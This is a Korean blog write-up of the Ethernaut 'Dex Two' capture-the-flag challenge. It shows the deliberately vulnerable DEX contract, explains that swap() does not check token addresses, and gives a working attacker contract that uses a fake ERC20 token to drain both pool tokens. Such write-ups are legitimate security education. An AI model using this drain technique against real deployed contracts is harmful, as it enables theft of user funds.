[ethernaut] Dex Two

wooz3k.eth·2023년 1월 9일
1
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import 'openzeppelin-contracts-08/access/Ownable.sol';

contract DexTwo is Ownable {
  address public token1;
  address public token2;
  constructor() {}

  function setTokens(address _token1, address _token2) public onlyOwner {
    token1 = _token1;
    token2 = _token2;
  }

  function add_liquidity(address token_address, uint amount) public onlyOwner {
    IERC20(token_address).transferFrom(msg.sender, address(this), amount);
  }
  
  function swap(address from, address to, uint amount) public {
    require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
    uint swapAmount = getSwapAmount(from, to, amount);
    IERC20(from).transferFrom(msg.sender, address(this), amount);
    IERC20(to).approve(address(this), swapAmount);
    IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
  } 

  function getSwapAmount(address from, address to, uint amount) public view returns(uint){
    return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
  }

  function approve(address spender, uint amount) public {
    SwappableTokenTwo(token1).approve(msg.sender, spender, amount);
    SwappableTokenTwo(token2).approve(msg.sender, spender, amount);
  }

  function balanceOf(address token, address account) public view returns (uint){
    return IERC20(token).balanceOf(account);
  }
}

contract SwappableTokenTwo is ERC20 {
  address private _dex;
  constructor(address dexInstance, string memory name, string memory symbol, uint initialSupply) ERC20(name, symbol) {
        _mint(msg.sender, initialSupply);
        _dex = dexInstance;
  }

  function approve(address owner, address spender, uint256 amount) public {
    require(owner != _dex, "InvalidApprover");
    super._approve(owner, spender, amount);
  }
}

이 문제는 Dex의 token1과 token2의 모든 balance를 빼내면 풀리는 문제이다.

취약점

  • swap API에서 token의 address 검증을 하지 않아 발생한다.
  • 악의적인 token을 만들어 Dex가 가지고 있는 token1과 token2를 모두 drain 할 수 있다.

다음과 같은 컨트렉트로 문제를 해결하였다.

contract attack is ERC20 {
    
    DexTwo public target = DexTwo(0xaC5d1EA5B2a100596F6323785B38b2Ba54003ec5);

    constructor() ERC20("Attack", "ATK")
    {
        _mint(address(this), 2);
        _mint(address(target), 1);
    }

    function atk() public
    {
        super._approve(address(this), address(target), 2);
        target.swap(address(this), target.token1(), 1);
        _burn(address(target), 1);
        target.swap(address(this), target.token2(), 1);
    }
}
profile
Theori ChainLight Web3 Researcher

0개의 댓글